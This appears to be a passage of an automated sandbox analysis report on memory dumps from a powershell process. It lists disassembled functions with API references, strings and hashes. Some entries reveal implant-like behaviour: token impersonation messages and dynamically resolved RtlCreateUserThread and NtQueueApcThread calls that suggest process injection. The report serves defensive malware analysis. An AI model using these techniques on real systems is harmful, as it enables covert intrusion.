Instruction ID: 3897b31d5a6c3fd5340f79dc97e21f473ed93536d140f7387fee15b8e1177fd8
Opcode Fuzzy Hash: 09bfc7a718d0a166204737d50e50cc52c68c3e2e3a0cecd9edcc1235780d4021
Instruction Fuzzy Hash: 2641E72370074066FE649EA2778835EA691B78CFD4F5A42249E5B4FFF1DE7CC441A608

Function 0000022EF9B148F0 Relevance: 7.6, APIs: 6, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 0000022EF9B1493A

Part of subcall function 0000022EF9B2E684: _FF_MSGBANNER.LIBCMT ref: 0000022EF9B2E6B4
Part of subcall function 0000022EF9B2E684: _NMSG_WRITE.LIBCMT ref: 0000022EF9B2E6BE
Part of subcall function 0000022EF9B2E684: _callnewh.LIBCMT ref: 0000022EF9B2E6F2
Part of subcall function 0000022EF9B2E684: _errno.LIBCMT ref: 0000022EF9B2E6FD
Part of subcall function 0000022EF9B2E684: _errno.LIBCMT ref: 0000022EF9B2E708

malloc.LIBCMT ref: 0000022EF9B14945

Part of subcall function 0000022EF9B2E684: _callnewh.LIBCMT ref: 0000022EF9B2E718
Part of subcall function 0000022EF9B2E684: _errno.LIBCMT ref: 0000022EF9B2E71D

free.LIBCMT ref: 0000022EF9B14A2C
free.LIBCMT ref: 0000022EF9B14A34
free.LIBCMT ref: 0000022EF9B14A40
free.LIBCMT ref: 0000022EF9B14A4D

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: free$_errno$_callnewhmalloc
String ID:
API String ID: 2761444284-0
Opcode ID: 326b315c93b4297f8d1cd44fbd3c536e1a3741d65750285d3f659b19031d268f
Instruction ID: 28d2455186ae3afc2eee6fc4c190e727d4d8b513e2482b7a1d5a1cad3ecedf30
Opcode Fuzzy Hash: 326b315c93b4297f8d1cd44fbd3c536e1a3741d65750285d3f659b19031d268f
Instruction Fuzzy Hash: 7741262232038962EE32DFA756687596695F7B5BC8F0B4034DD958BF41EE38C447D308

Function 0000022EFA0B54F0 Relevance: 7.6, APIs: 6, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 0000022EFA0B553A

Part of subcall function 0000022EFA0CF284: _FF_MSGBANNER.LIBCMT ref: 0000022EFA0CF2B4
Part of subcall function 0000022EFA0CF284: _NMSG_WRITE.LIBCMT ref: 0000022EFA0CF2BE
Part of subcall function 0000022EFA0CF284: HeapAlloc.KERNEL32 ref: 0000022EFA0CF2D9
Part of subcall function 0000022EFA0CF284: _callnewh.LIBCMT ref: 0000022EFA0CF2F2
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF2FD
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF308

malloc.LIBCMT ref: 0000022EFA0B5545

Part of subcall function 0000022EFA0CF284: _callnewh.LIBCMT ref: 0000022EFA0CF318
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF31D

free.LIBCMT ref: 0000022EFA0B562C
free.LIBCMT ref: 0000022EFA0B5634
free.LIBCMT ref: 0000022EFA0B5640
free.LIBCMT ref: 0000022EFA0B564D

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: free$_errno$_callnewhmalloc$AllocHeap
String ID:
API String ID: 996410232-0
Opcode ID: de79741046cbe64d3bb630df06faae11b500053710235a4762571f6057312210
Instruction ID: a73402fa2dae793b3ed3589d4b759c136341b68734bb66b3c00fff1965466238
Opcode Fuzzy Hash: de79741046cbe64d3bb630df06faae11b500053710235a4762571f6057312210
Instruction Fuzzy Hash: D041082220478566FE15DBA67B1865A6B98B79CBC8F0B4020DD068FF66EE3CD406D710

Function 0000022EFA0C2D70 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 94stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000022EFA0C31F4: strchr.LIBCMT ref: 0000022EFA0C322E
Part of subcall function 0000022EFA0C31F4: strchr.LIBCMT ref: 0000022EFA0C324C
Part of subcall function 0000022EFA0C31F4: malloc.LIBCMT ref: 0000022EFA0C3264
Part of subcall function 0000022EFA0C31F4: malloc.LIBCMT ref: 0000022EFA0C3271
Part of subcall function 0000022EFA0C31F4: rand.LIBCMT ref: 0000022EFA0C333D

strchr.LIBCMT ref: 0000022EFA0C2DD6
_snprintf.LIBCMT ref: 0000022EFA0C2E0C

Part of subcall function 0000022EFA0CF63C: _errno.LIBCMT ref: 0000022EFA0CF673
Part of subcall function 0000022EFA0CF63C: _invalid_parameter_noinfo.LIBCMT ref: 0000022EFA0CF67E

_snprintf.LIBCMT ref: 0000022EFA0C2E23

Strings

%s&%s, xrefs: 0000022EFA0C2E1C
?%s, xrefs: 0000022EFA0C2E05

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: strchr$_snprintfmalloc$_errno_invalid_parameter_noinforand
String ID: %s&%s$?%s
API String ID: 1095232423-1750478248
Opcode ID: 7c8d9433ae2b1aa8ac26fc6f099732b3782b91ff34ed5625b9a0d50b015d32b5
Instruction ID: 5088b933b5a4fe4c604a4814eab3de4091068bfc2908877f1d7c835cf542c88d
Opcode Fuzzy Hash: 7c8d9433ae2b1aa8ac26fc6f099732b3782b91ff34ed5625b9a0d50b015d32b5
Instruction Fuzzy Hash: 4F41A462610E81A1EE11AF6AE2492E8A3A0FF9CB85F055511DF482BF71DF38D1A2D340

Function 0000022EFA0DAC98 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0000022EFA0DACFA
_isleadbyte_l.LIBCMT ref: 0000022EFA0DAD2A
MultiByteToWideChar.KERNEL32 ref: 0000022EFA0DAD69
MultiByteToWideChar.KERNEL32 ref: 0000022EFA0DADB7
_errno.LIBCMT ref: 0000022EFA0DADC1

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::__errno_isleadbyte_l
String ID:
API String ID: 2998201375-0
Opcode ID: bc69b486777a6b9bad5038bbf0975aad08e47f38b0eed12a125a0790956d64d5
Instruction ID: cfe85d80bfa5cc3588154a56812bf9ac53861733f1f05f066463eaffd70f9d87
Opcode Fuzzy Hash: bc69b486777a6b9bad5038bbf0975aad08e47f38b0eed12a125a0790956d64d5
Instruction Fuzzy Hash: 4A41913222478096EF608F55A2847697BA1FB8CB94F194135EB8A5BFA5DF3CC841D700

Function 0000022EF9B1F064 Relevance: 7.6, APIs: 5, Instructions: 58fileCOMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 0000022EF9B1F085

Part of subcall function 0000022EF9B2E684: _FF_MSGBANNER.LIBCMT ref: 0000022EF9B2E6B4
Part of subcall function 0000022EF9B2E684: _NMSG_WRITE.LIBCMT ref: 0000022EF9B2E6BE
Part of subcall function 0000022EF9B2E684: _callnewh.LIBCMT ref: 0000022EF9B2E6F2
Part of subcall function 0000022EF9B2E684: _errno.LIBCMT ref: 0000022EF9B2E6FD
Part of subcall function 0000022EF9B2E684: _errno.LIBCMT ref: 0000022EF9B2E708

free.LIBCMT ref: 0000022EF9B1F0C0
fwrite.LIBCMT ref: 0000022EF9B1F101
fclose.LIBCMT ref: 0000022EF9B1F109
free.LIBCMT ref: 0000022EF9B1F116

Part of subcall function 0000022EF9B2E644: _errno.LIBCMT ref: 0000022EF9B2E664

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: _errno$free$_callnewhfclosefwritemalloc
String ID:
API String ID: 1696598829-0
Opcode ID: 1bdd5497ac55f9ceee01cd46502ea43f72165348b95f2b256c95d8f9a827a5ec
Instruction ID: a97f0bc5df25d44a4decfae44be691092758bc4e9a706b370a7bd867fd7172e9
Opcode Fuzzy Hash: 1bdd5497ac55f9ceee01cd46502ea43f72165348b95f2b256c95d8f9a827a5ec
Instruction Fuzzy Hash: F111051130864060EE31EA93A2393AE6381E7A4FD0F454125AED90BFCADE2CC1019748

Function 0000022EF9B399EC Relevance: 7.5, APIs: 5, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000022EF9B399FD

Part of subcall function 0000022EF9B31118: _getptd_noexit.LIBCMT ref: 0000022EF9B3111C

__doserrno.LIBCMT ref: 0000022EF9B399F5

Part of subcall function 0000022EF9B310A8: _getptd_noexit.LIBCMT ref: 0000022EF9B310AC

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno_errno
String ID:
API String ID: 2964073243-0
Opcode ID: 02e55afb5f5e5304a095475b8354770d2627f5ba6f47f1d288df05a1981eaf7d
Instruction ID: 00e06eae99d833862ec1a4d067523ed5e6bddb9d6da4a13b80370d1023ccfb81
Opcode Fuzzy Hash: 02e55afb5f5e5304a095475b8354770d2627f5ba6f47f1d288df05a1981eaf7d
Instruction Fuzzy Hash: DD01F465721A49A4FF34ABE4CABD7AC22509BB0B32F938301C6A903BD2C73C44016718

Function 0000022EFA0DA5EC Relevance: 7.5, APIs: 5, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000022EFA0DA5FD

Part of subcall function 0000022EFA0D1D18: _getptd_noexit.LIBCMT ref: 0000022EFA0D1D1C

__doserrno.LIBCMT ref: 0000022EFA0DA5F5

Part of subcall function 0000022EFA0D1CA8: _getptd_noexit.LIBCMT ref: 0000022EFA0D1CAC

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno_errno
String ID:
API String ID: 2964073243-0
Opcode ID: 7de39b626677fa29025c8f4af27b0a540db68e2d6824cc23474586602198323a
Instruction ID: fa5e35910466e9a5453cd651084764f139d783254c7d8ece31e56489f4ec14ad
Opcode Fuzzy Hash: 7de39b626677fa29025c8f4af27b0a540db68e2d6824cc23474586602198323a
Instruction Fuzzy Hash: E101FF63721604A5FE196FE4EA8836C32519F98B32FA74310D5290FFF2CF3C4082A610

Function 0000022EFA0BD83C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 135COMMONLIBRARYCODE

Download Yara Rule

Strings

%s!%s, xrefs: 0000022EFA0BD9EB

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID:
String ID: %s!%s
API String ID: 0-2935588013
Opcode ID: 2575759d0ae14333fa4d595125301f6413fce9519f9dbc799c601f61bbf3305b
Instruction ID: e8996152d96a2dd37ec98bc35eaaae0f0c15b0e0e61dddb37716f46393388628
Opcode Fuzzy Hash: 2575759d0ae14333fa4d595125301f6413fce9519f9dbc799c601f61bbf3305b
Instruction Fuzzy Hash: 72517765204640A6EF28DF91E254759B361F34CBD4F464022EF4A8BFA5EB3CC942E704

Function 0000022EF9B25228 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 116stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000022EF9B253EC: malloc.LIBCMT ref: 0000022EF9B25408

strrchr.LIBCMT ref: 0000022EF9B252ED
_snprintf.LIBCMT ref: 0000022EF9B2539B

Strings

t permissions in process: %d, xrefs: 0000022EF9B25345, 0000022EF9B25366
Failed to impersonate token: %d, xrefs: 0000022EF9B25358

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: _snprintfmallocstrrchr
String ID: Failed to impersonate token: %d$t permissions in process: %d
API String ID: 3587327836-1492073275
Opcode ID: d69273eeb4579e6a96eb8d0c87a60564a21875d7210b55cf29d23a145d20b21e
Instruction ID: c25c43ab841eda312eabcd22a95f1c272d8b0f98aac9ec142398968c6c2a5050
Opcode Fuzzy Hash: d69273eeb4579e6a96eb8d0c87a60564a21875d7210b55cf29d23a145d20b21e
Instruction Fuzzy Hash: EF41C62070424066EF35EFA6AA283AE6791F7A5BD4F454124EDC647F96CF7CC086E708

Function 0000022EFA0C2818 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93sleeppipeCOMMON

Download Yara Rule

APIs

CreatePipe.KERNEL32 ref: 0000022EFA0C28A3
GetStartupInfoA.KERNEL32 ref: 0000022EFA0C28AD
Sleep.KERNEL32 ref: 0000022EFA0C28F4

Part of subcall function 0000022EFA0C48D8: GetTickCount.KERNEL32 ref: 0000022EFA0C48F1
Part of subcall function 0000022EFA0C48D8: GetTickCount.KERNEL32 ref: 0000022EFA0C4932

Strings

h, xrefs: 0000022EFA0C284D

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: CountTick$CreateInfoPipeSleepStartup
String ID: h
API String ID: 1809008225-2439710439
Opcode ID: 4e35baa7647db691c7f670eac516f3e1fc872cfd04f6cc2549e4bc2b31640604
Instruction ID: 9bc46e4276e08a8e36540263cdc059b30b9f856fa6443a2e420f502cfa405f1e
Opcode Fuzzy Hash: 4e35baa7647db691c7f670eac516f3e1fc872cfd04f6cc2549e4bc2b31640604
Instruction Fuzzy Hash: B2418932600B849AEB10CFA5E84468EB7B5F388798F114115EF9C57FA8DF78C546CB40

Function 0000022EFA0CE1D8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMONLIBRARYCODE

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32 ref: 0000022EFA0CE26D
LookupAccountSidA.ADVAPI32 ref: 0000022EFA0CE2B2
_snprintf.LIBCMT ref: 0000022EFA0CE2DA

Strings

%s\%s, xrefs: 0000022EFA0CE2C8

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: AccountInformationLookupToken_snprintf
String ID: %s\%s
API String ID: 2107350476-4073750446
Opcode ID: 3628ba452fb9f12347beb94bf517dfb845e986fa94d428b7ed87531c0f30446e
Instruction ID: 064031cba514ca976e278ef9ebf93c96824b126d3602c6885bf9156367cc39cc
Opcode Fuzzy Hash: 3628ba452fb9f12347beb94bf517dfb845e986fa94d428b7ed87531c0f30446e
Instruction Fuzzy Hash: E3312F22204FC1A5EB24CF61E9446DA6364F78CB88F458125EA895BF69DF3CC209D740

Function 0000022EFA0C4224 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 0000022EFA0C424E
GetProcAddress.KERNEL32 ref: 0000022EFA0C425E

Strings

RtlCreateUserThread, xrefs: 0000022EFA0C4254
ntdll.dll, xrefs: 0000022EFA0C423B

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: RtlCreateUserThread$ntdll.dll
API String ID: 1646373207-2935400652
Opcode ID: ec9d2d620c63392f70290ebc437f8ca1b743032b52a150f3fdfac3901f9a5ced
Instruction ID: 1cea38a5f73f893208cbb1de82f37cbd33b231544cc1bc8785ec3cc3d0c4130b
Opcode Fuzzy Hash: ec9d2d620c63392f70290ebc437f8ca1b743032b52a150f3fdfac3901f9a5ced
Instruction Fuzzy Hash: 7D116D32204B8592DB20CF51F988549B7A8F78CB80F998175EA8D47F24DF38C555DB00

Function 0000022EFA0C3C0C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 0000022EFA0C3C30
GetProcAddress.KERNEL32 ref: 0000022EFA0C3C40

Strings

NtQueueApcThread, xrefs: 0000022EFA0C3C36
ntdll, xrefs: 0000022EFA0C3C23

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: NtQueueApcThread$ntdll
API String ID: 1646373207-1374908105
Opcode ID: 2536bb9452705a2f6e7169ceafa1b416df13a56cc0cf1ef56e7307e0eec9c158
Instruction ID: 6b3c125176ec9614f7dc39bd3531d868156838c5a36f10a06a044e8469f510c0
Opcode Fuzzy Hash: 2536bb9452705a2f6e7169ceafa1b416df13a56cc0cf1ef56e7307e0eec9c158
Instruction Fuzzy Hash: 5F01A225310B82A2EF00DBA6FA9825EA3A0F78DBD0F554521DE584BF74DF3CC451A700

Function 0000022EFA0C0C64 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 0000022EFA0C0C79
GetProcAddress.KERNEL32 ref: 0000022EFA0C0C89

Strings

IsWow64Process, xrefs: 0000022EFA0C0C7F
kernel32, xrefs: 0000022EFA0C0C72

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsWow64Process$kernel32
API String ID: 1646373207-3789238822
Opcode ID: ec429c199b0f6375f9f9bb3acfabef0345e96e1c9904636b59857b424156df6f
Instruction ID: 60dd46899dd8396d4d2484fb9e8683ca5b161111a12ad29b972592bf531dfa53
Opcode Fuzzy Hash: ec429c199b0f6375f9f9bb3acfabef0345e96e1c9904636b59857b424156df6f
Instruction Fuzzy Hash: 66E09AA0321606A2EE04CBA5FAC832563A0EB8C780F491050998B0AF70EF2CC589FB00

Function 0000022EFA0C20AC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 0000022EFA0C20BC
GetProcAddress.KERNEL32 ref: 0000022EFA0C20CC

Strings

Wow64DisableWow64FsRedirection, xrefs: 0000022EFA0C20C2
kernel32, xrefs: 0000022EFA0C20B5

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64DisableWow64FsRedirection$kernel32
API String ID: 1646373207-736604160
Opcode ID: ee7ac246b15703f1bae1af517107d06ce80ae1fd60a4afa284d23f3dc5206b46
Instruction ID: 5efbd80b6bd060809d9632dfbba06535aee3a2f79f259c5aba095eb4fd4d3d99
Opcode Fuzzy Hash: ee7ac246b15703f1bae1af517107d06ce80ae1fd60a4afa284d23f3dc5206b46
Instruction Fuzzy Hash: 35D05E9075260BA1FE049BE1FACC2646350AB4DB40F4A10A5881E0EF70EE2CC19AF310

Function 0000022EFA0C20E4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 0000022EFA0C20F4
GetProcAddress.KERNEL32 ref: 0000022EFA0C2104

Strings

Wow64RevertWow64FsRedirection, xrefs: 0000022EFA0C20FA
kernel32, xrefs: 0000022EFA0C20ED

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64RevertWow64FsRedirection$kernel32
API String ID: 1646373207-3900151262
Opcode ID: 319746fa707029ab9a73eb8f742d9554a97dfc1dcddc658422bf1e3b845b0c79
Instruction ID: a05087ec56a79c8515e049c014fbfd1f2214a34668b5387e56da578c0fe89db4
Opcode Fuzzy Hash: 319746fa707029ab9a73eb8f742d9554a97dfc1dcddc658422bf1e3b845b0c79
Instruction Fuzzy Hash: 05D05E5075260BA1FE08ABE2FACC6681390AB5DB40F4910A0891A0FF70EE7CC199F310

Function 0000022EF9B2B3C0 Relevance: 6.1, APIs: 4, Instructions: 140COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dde0bc93da3cc204cab392ef88660b8feabc790641522e6986fd432b01f6e40
Instruction ID: ed651b794aa6ada30bb20561fad2f7ab0c4757cc1ff758d7d60d8e1279cf4603
Opcode Fuzzy Hash: 1dde0bc93da3cc204cab392ef88660b8feabc790641522e6986fd432b01f6e40
Instruction Fuzzy Hash: 5D61C732601600A6EF35CF99E7BD36833A1E779B54F26412DC9994BBA5CF34C441EB88

